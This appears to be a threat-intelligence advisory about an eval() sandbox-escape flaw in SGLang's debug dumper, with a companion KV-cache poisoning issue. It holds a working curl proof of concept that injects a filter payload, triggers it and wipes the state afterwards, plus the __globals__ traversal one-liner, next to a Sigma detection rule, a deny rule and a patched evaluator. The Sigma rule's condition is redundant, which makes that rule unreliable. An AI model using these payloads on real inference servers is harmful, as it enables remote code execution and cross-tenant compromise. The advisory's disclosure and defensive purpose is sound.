Skip to content

CVE-2026-111391: SGLang LLM Inference Engine Scheduler-Process Code Injection & RCE via Debug Dumper eval() Sandbox Escape

Density:
C-Level Executive Briefing CVE-2026-111391 CRITICAL SCORE 95/100

Critical Python eval() sandbox escape and remote code execution flaw in SGLang 0.5.10 through 0.5.22. When DUMPER_SERVER_PORT is active (including DUMPER_SERVER_PORT=reuse with ADMIN_OPTIONAL authorization), attackers send a filter expression to /dumper/configure that traverses re.search.__globals__['__builtins__'] inside _evaluate_filter(), executing arbitrary code inside the GPU scheduler process on the next forward pass.

HYBRID

HERMES THREAT SCORE & AGENTIC AI INFERENCE ENGINE EVALUATION

Target: SGLang SRT Scheduler & Debug Dumper Subsystem (python/sglang/srt/debug_utils/dumper.py)
Confidence: 99%
95 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 17 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v4.0 assigns a base score of 9.2 (Critical) factoring in Attack Requirements Present (AT:P, requiring DUMPER_SERVER_PORT to be enabled). The Hermes Threat Score elevates CVE-2026-111391 to 95 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 97 (EXTREME). SGLang is a premier high-throughput serving engine for Large Language Models (LLMs) and Vision-Language Models (VLMs) powering multi-tenant inference clusters and autonomous AI agents. Because the /dumper/{method} route is marked AuthLevel.ADMIN_OPTIONAL when DUMPER_SERVER_PORT=reuse is configured, any unauthenticated caller or standard user API key holder can plant a persistent Python payload that executes inside the privileged GPU scheduler loop on every subsequent forward passโ€”compromising all tenant prompts, model weights, and RadixAttention KV caches.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-111391: SGLang LLM Inference Engine Scheduler-Process Code Injection & RCE via Debug Dumper eval() Sandbox EscapeVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTSGLang Structured Generation & LLM Inference Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in SGLang Structured Generation & LLM Inference Engine documented in Hermes dossier.”

Supporting Verified Evidence:

On October 16โ€“17, 2026, VulnCheck Initial Access Intelligence and upstream SGLang security researchers disclosed CVE-2026-111391 (GitHub Issue #44188 / PR #44782), a critical Eval Injection and Python Sandbox Escape vulnerability (CWE-95) affecting SGLang (sgl-project/sglang) versions 0.5.10 through 0.5.22 (CVSS v4.0 9.2 Critical).

SGLang includes a runtime tensor and hidden-state inspection subsystem (python/sglang/srt/debug_utils/dumper.py) used to diagnose numerical precision regressions across distributed GPU workers. When the server is launched with DUMPER_SERVER_PORT setโ€”either bound to a dedicated debug port or set to DUMPER_SERVER_PORT=reuse to share the primary HTTP inference portโ€”SGLang exposes the /dumper/{method} API routes under AuthLevel.ADMIN_OPTIONAL. An attacker with either no credentials (on open endpoints) or a basic, low-privilege user API key can send a JSON payload to POST /dumper/configure containing a malicious filter expression. On the very next model forward pass (POST /generate or /v1/chat/completions), the GPU scheduler process invokes _evaluate_filter(), which evaluates the expression using eval(filter_expr, {"__builtins__": {}}, namespace). Although __builtins__ is emptied, the namespace exposes the re.search and re.match function objects, allowing attackers to traverse search.__globals__['__builtins__']['__import__'] and achieve full Remote Code Execution (RCE) inside the scheduler process.


Root Cause 1: Broken Authorization Boundary (AuthLevel.ADMIN_OPTIONAL)

Section titled โ€œRoot Cause 1: Broken Authorization Boundary (AuthLevel.ADMIN_OPTIONAL)โ€

In python/sglang/srt/entrypoints/http_server.py, when DUMPER_SERVER_PORT=reuse is configured, SGLang mounts the /dumper/{method} control endpoint directly onto the main FastAPI inference server:

# python/sglang/srt/entrypoints/http_server.py:886-887
@app.api_route("/dumper/{method}", methods=["POST"])
@auth_level(AuthLevel.ADMIN_OPTIONAL)
async def dumper_handle_request(method: str, request: Request):
...

Because the route is decorated with AuthLevel.ADMIN_OPTIONAL instead of AuthLevel.ADMIN_REQUIRED, SGLangโ€™s authentication middleware treats /dumper/configure identically to standard inference routes (/generate or /v1/chat/completions). If --api-key user-secret is configured without a separate --admin-api-key, any standard inference client holds full administrative control over the debug dumper state.

Root Cause 2: Python eval() Sandbox Escape via re.search.__globals__

Section titled โ€œRoot Cause 2: Python eval() Sandbox Escape via re.search.__globals__โ€

In python/sglang/srt/debug_utils/dumper.py, the _Dumper.configure() method updates self._config directly from the callerโ€™s JSON dictionary (self._config = replace(self._config, **kwargs)), storing the attacker-controlled filter string.

During every model forward pass, _dump_inner() checks whether the current tensor matches self._config.filter by calling _evaluate_filter(f, tags):

# VULNERABLE: python/sglang/srt/debug_utils/dumper.py (SGLang 0.5.10 - 0.5.22)
_FILTER_BUILTINS = {
"search": re.search,
"match": re.match,
"len": len,
"str": str,
"int": int,
"float": float,
"bool": bool,
}
def _evaluate_filter(filter_expr: str, tags: dict[str, Any]) -> bool:
namespace = _DefaultNoneDict(tags)
namespace.update(_FILTER_BUILTINS)
# FLAW (CWE-95): Clearing __builtins__ does NOT sandbox Python eval() when
# function objects like re.search are exposed in the local namespace!
return bool(eval(filter_expr, {"__builtins__": {}}, namespace))

In CPython, every Python function object (types.FunctionType) possesses a __globals__ attribute pointing to the global dictionary of the module in which the function was defined. Because re.search is a Python function defined in the standard library re module, search.__globals__ references the re moduleโ€™s global namespace, which contains "__builtins__":

# Traversal chain from restricted eval() namespace to full OS command execution:
search.__globals__['__builtins__']['__import__']('os').system('id')
flowchart TD
subgraph Attacker["Remote Attacker / Low-Privilege API User"]
Stage1["1. POST /dumper/configure<br/>Auth: None or Ordinary Bearer Token (ADMIN_OPTIONAL)<br/>Payload: filter = search.__globals__['__builtins__']..."]
Stage2["2. POST /generate or /v1/chat/completions<br/>Triggers Model Forward Pass"]
end
subgraph SGLang["SGLang Inference Server (0.5.10 <= v <= 0.5.22)"]
HTTP["FastAPI HTTP Entrypoint<br/>(http_server.py :: dumper_handle_request)"]
Stage1 --> HTTP
HTTP -- "ZMQ IPC Broadcast" --> Config["_Dumper.configure()<br/>Stores Malicious filter_expr in Scheduler"]
Stage2 --> Forward["GPU Scheduler Forward Pass<br/>(_dump_inner -> _evaluate_filter)"]
Config --> Forward
Forward --> Eval{"eval(filter_expr, {'__builtins__': {}}, namespace)<br/>Exposes re.search in _FILTER_BUILTINS (CWE-95)"}
Eval --> Escape["Traverses search.__globals__['__builtins__']['__import__']<br/>Arbitrary Python RCE in GPU Scheduler Process"]
end
subgraph Impact["Multi-Tenant AI Cluster Compromise"]
Escape --> Weights["Exfiltrate / Tamper Model Weights & LoRA Adapters"]
Escape --> KVCache["Inspect & Poison RadixAttention KV Cache<br/>(Chained with CVE-2026-111392 mm_hashes)"]
end
style Eval fill:#ff4d4d,stroke:#990000,color:#ffffff
style Escape fill:#ff1a1a,stroke:#800000,color:#ffffff

As demonstrated in upstream advisory #44188, an attacker can plant a filter expression that executes arbitrary Python code, writes or exfiltrates data, and returns False so that no tensor files are written to disk (preserving stealth):

Terminal window
# Stage 1: Inject the Python sandbox-escape filter via /dumper/configure
curl -sS -X POST http://target-sglang:30000/dumper/configure \
-H 'Authorization: Bearer user-secret' \
-H 'Content-Type: application/json' \
-d '{
"enable": true,
"filter": "(search.__globals__[\"__builtins__\"][\"__import__\"](\"pathlib\").Path(\"/tmp/sglang-dumper-marker\").write_text(\"SGLANG_DUMPER_RCE\") > 0) and False"
}'
# Stage 2: Trigger a single token generation to execute the filter inside the GPU scheduler
curl -sS -X POST http://target-sglang:30000/generate \
-H 'Authorization: Bearer user-secret' \
-H 'Content-Type: application/json' \
-d '{
"text": "trigger",
"sampling_params": {"max_new_tokens": 1, "temperature": 0}
}'
# Stage 3: Clean up forensic configuration state in memory
curl -sS -X POST http://target-sglang:30000/dumper/reset \
-H 'Authorization: Bearer user-secret' \
-H 'Content-Type: application/json' -d '{}'

To remediate CVE-2026-111391 without sacrificing filter expressiveness, SGLang replaces dynamic eval() execution with a strict ast.parse(..., mode="eval") visitor that only permits scalar comparisons, boolean operators, and safe regex matching on string values without exposing Python function objects or attribute access (ast.Attribute is rejected):

# PATCHED PATTERN: AST-restricted expression evaluator (Blocks CWE-95 & __globals__ traversal)
import ast
class _SafeFilterEvaluator(ast.NodeVisitor):
ALLOWED_NODES = (
ast.Expression, ast.BoolOp, ast.And, ast.Or, ast.UnaryOp, ast.Not,
ast.Compare, ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
ast.In, ast.NotIn, ast.Constant, ast.Name, ast.Load, ast.Tuple, ast.List
)
def visit(self, node: ast.AST):
if not isinstance(node, self.ALLOWED_NODES):
raise ValueError(f"Disallowed AST node in dumper filter: {type(node).__name__}")
return super().visit(node)

Companion Disclosure: Multimodal KV Cache Poisoning via mm_hashes (CVE-2026-111392)

Section titled โ€œCompanion Disclosure: Multimodal KV Cache Poisoning via mm_hashes (CVE-2026-111392)โ€

Alongside CVE-2026-111391, VulnCheck and SGLang researchers disclosed CVE-2026-111392 (GitHub Issue #44641 / PR #44653), affecting SGLang 0.5.13 through 0.5.21 (CWE-345: Insufficient Verification of Data Authenticity).

In SGLangโ€™s multimodal Vision-Language Model (VLM) pipeline (python/sglang/srt/managers/tokenizer_manager.py and io_struct.py), the POST /generate endpoint accepted caller-supplied mm_hashes directly in the request JSON and trusted them as the RadixAttention prefix-cache lookup key for multimodal image embeddings. An attacker on a shared inference server could:

  1. Poison Victim VLM Responses: Submit a malicious or misleading image alongside a predictable or target mm_hashes identifier via /generate, poisoning the cached Key-Value (KV) attention tensors for all subsequent users referencing that hash.
  2. Cross-Tenant Visual Information Disclosure: Probe known mm_hashes values to force a KV-cache hit on another tenantโ€™s previously processed private image without possessing the image itself, extracting visual context via model questioning.

Security teams operating GPU inference clusters (Kubernetes pods, Ray workers, or bare-metal SGLang nodes) must monitor HTTP ingress traffic to /dumper/ routes and audit child processes spawned by sglang.launch_server or sglang::scheduler. Consult our guides on Linux Process Memory Analysis and Indirect Prompt Injection for deeper AI runtime defense strategies.

title: SGLang Debug Dumper Filter Code Injection & Sandbox Escape (CVE-2026-111391)
id: 4f8c2d19-1113-491b-a72e-sglang111391
status: experimental
description: Detects HTTP POST requests targeting SGLang /dumper/configure or containing Python __globals__ / __builtins__ sandbox escape payloads exploiting CVE-2026-111391.
references:
- https://vulncheck.com/advisories/sglang-0.5.10-through-0.5.22-code-injection-via-debug-dumper-filter
- https://github.com/sgl-project/sglang/issues/44188
author: Hermes Threat Intelligence
date: 2026/10/17
logsource:
category: webserver
detection:
selection_endpoint:
cs-method: 'POST'
cs-uri-stem|contains:
- '/dumper/configure'
- '/dumper/'
selection_payload:
request_body|contains:
- '__globals__'
- '__builtins__'
- '__import__'
- '__subclasses__'
condition: selection_endpoint or (selection_endpoint and selection_payload)
falsepositives:
- Internal GPU kernel developers explicitly running precision debugging in isolated lab environments
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006
- cve.2026-111391

  1. Upgrade SGLang Immediately: Upgrade sglang to version 0.5.23 or later (which remediates both CVE-2026-111391 in dumper.py and CVE-2026-111392 in tokenizer_manager.py via PR #44653 and PR #44782).
  2. Disable DUMPER_SERVER_PORT in Production Environments: Ensure that DUMPER_SERVER_PORT (and SGLANG_DUMPER_* environment variables) are strictly unset across all production Docker containers, Kubernetes Helm charts, and Ray serving deployments. Never run DUMPER_SERVER_PORT=reuse on internet- or tenant-facing inference endpoints.
  3. Block /dumper/* Routes at the API Gateway / Reverse Proxy: Enforce an explicit deny rule on Envoy, Nginx, or Kong API gateways fronting SGLang clusters:
    # Block external access to SGLang debug dumper routes (CVE-2026-111391)
    location ~* ^/dumper/ {
    deny all;
    return 403;
    }
  4. Enforce Separate --admin-api-key Credentials: When deploying SGLang with authentication enabled, always configure a dedicated, high-entropy --admin-api-key distinct from tenant --api-key tokens so that administrative control routes cannot be invoked by standard inference users.